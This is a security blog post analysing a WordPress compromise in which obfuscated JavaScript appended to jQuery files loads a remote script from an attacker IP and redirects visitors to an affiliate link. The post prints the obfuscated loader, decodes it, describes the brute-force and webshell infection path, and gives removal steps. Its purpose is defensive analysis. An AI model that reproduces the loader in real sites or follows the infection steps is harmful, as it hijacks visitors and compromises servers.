WordPress Hacks: jQuery JS script injection

<- Return to Cybersecurity blog

WordPress Hacks: jQuery JS script injection

Introduction

In the second of my series of articles about different exploits seen for WordPress sites, I discuss a particular attack that causes all pages on an infected site to redirect to a page of the attacker's choice, which in this case was an affiliate link. This attack involves adding malicious code to jQuery .js files based on the assumption that jQuery is probably going to be included in every page request.

The article will discuss how the exploit works, what it does once the infection has been made, how the attack is performed and how to remove it, as well as identifying the server involved in making this attack work. It also briefly discusses some variations that have been seen.

Code Examples

Detection of Infections

Once infected, whenever a user visits a page on the site in question they will be redirected to another site. Reloading the site again will not cause this redirect; a cookie is used as a flag to control how often the redirection will take place, and removing this cookie will cause the redirection to occur again next time a page is loaded. Redirection is caused by the malicious code setting a new value for window.location.href.

This attack targets all files that match a pattern similar to jquery*.js, meaning that files like jquery.js, jquery.min.js and jquery.ui.core.js will all be affected.

Code Analysis

jQuery additional code

The attack appends some malicious code to the end of any matching .js file. This code is obfuscated and looks like this: -

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

This code contains two main parts: an array _0xaae8 which contains six obfuscated strings and code which uses this array to execute a command. After decoding, the array contents becomes: -

["", "join", "reverse", "split", "&gt;tpircs/&lt;&gt;\"sj.yreuqj/87.611.942.431//:ptth"=crs tpircs&lt;", "write"]

Thus, the final command becomes: -

document.write("&gt;tpircs/&lt;&gt;\"sj.yreuqj/87.611.942.431//:ptth\"=crs tpircs&lt;".split("").reverse().join.("")

A breakdown of the steps gives us to the following functionality: -

  1. Take the string ">tpircs/<>\"sj.yreuqj/87.611.942.431//:ptth\"=src tpircs<" and split it into an array (list) of characters.
  2. Reverse this list of characters.
  3. Join the list of characters (using an empty string in between each) to give <script src="http://134.249.116.78/jquery.js"></script>".
  4. Use document.write() to write this string to the browser's document. Once this is written, the browser will interpret it, meaning that the script will be executed.
  5. The browser downloads another jquery.js file from the server at 134.249.116.78.

This code uses a few interesting techniques to help avoid detection: -

  1. All code strings are obfuscated by using escape sequences instead of actual characters. An escape sequence is usually used to insert a special character into a string literal (such as a quote mark in a string surrounded by quotes, such as "The book was called \"Hyperion\", by Dan Simmonds", but there's no reason that normal characters cannot also be included in strings using their hexadecimal ASCII or Unicode code-point (e.g. "A" is equivalent to "\x41").
  2. Instead of writing the call to document.write using this standard JavaScript dot notation, this code utilises a property of JavaScript objects in that their attributes (data and methods) can also be accessed via index using array access syntax. Therefore the call to document.write instead takes the form document["write"]. Furthermore, the "write" string is also accessed from the _0xaae8 array as _0xaae8[5], which is one extra level of misdirection on the attacker's part.
  3. After decoding, the script tag causes the browser to load this new script. The script is named jquery.js, which is a simple way of avoiding attention as the current page will have already downloaded one or more files with a name similar to this (albeit from a different server).

Once decoded it's easy to see that the script is doing something that we perhaps do not want, however when encoded this purpose is not easy to perceive. However, it's also quite clear to see that this code has something to hide, so if you ever see something like this you should become extra vigilant!

Downloaded payload

The contents of the jquery.js file downloaded from the attacker's server is also obfuscated in a similar way to the script above. As this code is larger I have posted a copy to PasteBin rather than displaying it in this article in full. I have also de-obfuscated the script and changed some of the function names to make it more readable.

This second script performs the following actions: -

  1. Checks to see if the csrf_uid cookie is set for the current domain. If so the script performs no further actions. This is how the script avoids the redirection on every single page load, thus hiding its presence to the casual observer. Also note the cookie name; the name has been chosen deliberately in order to blend in as the acronym "CSRF" (Cross-site Request Forgery) is often used legitimately in web applications for a different purpose.
  2. If the cookie was not set, it then goes ahead and sets the cookie using some hard-coded values to control its lifetime, thus how often users get redirected.
  3. It then detects if the page is loaded by querying document.loaded; if so, the redirection takes place and the browser loads the attacker's page.
  4. If the document is not yet loaded, the script creates an event handler for the document's "load" event which causes the redirection function to be called when the document becomes ready.

The actual redirection causes this hard-coded URL to be loaded by the browser: https://go.ad2up.com/afu.php?id=473791. This appears to be a link to an affiliate link network, and loading this page causes a further redirect to an advertiser after giving the attacker (who has the account ID 473791) some kind of payback from the advertiser.

Attack Vector

Thanks to Alex Grey and an anonymous reader for supplying further details as to how this exploit is installed.

The following link gives some more details as to how the attack is performed: https://malware.expert/malware/db-php/.

It appears that the attacker specifically searches for WordPress sites which have user accounts with weak passwords. There are various ways in which an attacker can narrow down the list of potential users and I will write more about this in a future blog. Most WordPress sites however have an "admin" user so this user account commonly comes under brute-force password attack. This means that an attacker will simply attempt to log in as this user using a list of common passwords. If the password is weak then they will surely succeed eventually.

If the attacker is successful, they first edit the theme's 404.php template and insert the code that performs the infection of the JS files. This script contains the payload (the obfuscated JS that is added to all JS files on the site) and a script which recursively searches for JS files in which to insert this payload. The attacker saves this modified script and then immediately accesses it in order to run the exploit.

It is also common to see an additional script being uploaded after this, usually named db.php. I will provide a full write-up of this exploit in a separate blog post, but in summary this script contains an obfuscated WSO webshell. This script allows the attacker (with a password) to perform almost any other exploit on the server.

Analysis of Attacker Servers

This attack could have injected code to redirect the browser to the actual affiliate link, however it has been written to involve an intermediary server at 134.249.116.78 which serves the actual payload that will be executed.

The server itself runs Apache and is configured to display server statistics. WARNING: the following is an active link to the attacker, so be aware that visiting this page will display your request to anybody visiting this page and to the attacker themselves! Warnings aside, here is the link: http://134.249.116.78/server-status. On this status page, we can see exactly how many people are requesting this malicious script from this server (as of writing there are around 2.9 requests every second to this server, and more than 2.5 million since the server came up). This just shows how widespread this attack actually is, and how much this attacker must be making from affiliate links!

Removal

Removal of this exploit is very easy. All that is required is to locate every file on the site that matches the pattern jquery*.js and then to remove the malicious code that is appended to the file contents (see above for details). Once all files have been cleared, the infection has effectively been removed.

After continued study of this attack, it appears that some variants infect all JavaScript files (*.js), not just those having "jquery" in the file name. Therefore it is important now to search for all .js files to make sure.

As mentioned above, attackers often drop a WSO webshell onto the server, often named db.php. If these exist then it is extremely important that they also be deleted, but take care not to delete a valid WordPress script in the process.

My Web Exploit Detector is capable of detecting these scripts so this can also be installed and run in order to do a thorough check of all site files.

Conclusion

This exploit takes a lot of care to blend in by using some very common file and cookie names. It also takes care not to be too greedy; each user will only be redirected around once per day meaning that many people will simply accept this attack on their sites and not look for a way to remove it. Also, users of the site might not think to report the issue as when they reload the page to double check everything will seem to be okay. Hopefully detailing the information here will provide others with a way of finding out about this attack and also give them the ability to remove it.

While not particularly malicious in its effect, this exploit does however have a serious impact. For one, the scope of the attack means that somebody is making a lot of money from subversion and trickery. Secondly, both site owners and users are negatively affected by having control taken away from them and arbitrary content displayed to them without either party's consent. In addition to this, by dropping a WSO webshell onto the server the attackers are leaving the server open for any type of exploit in the future.

Fortunately, the exploit is easy to remove so I would advise anybody experiencing this exploit on their own sites to take the above action immediately. As always, please be careful when modifying source code; if in doubt ask an expert to edit these files for you.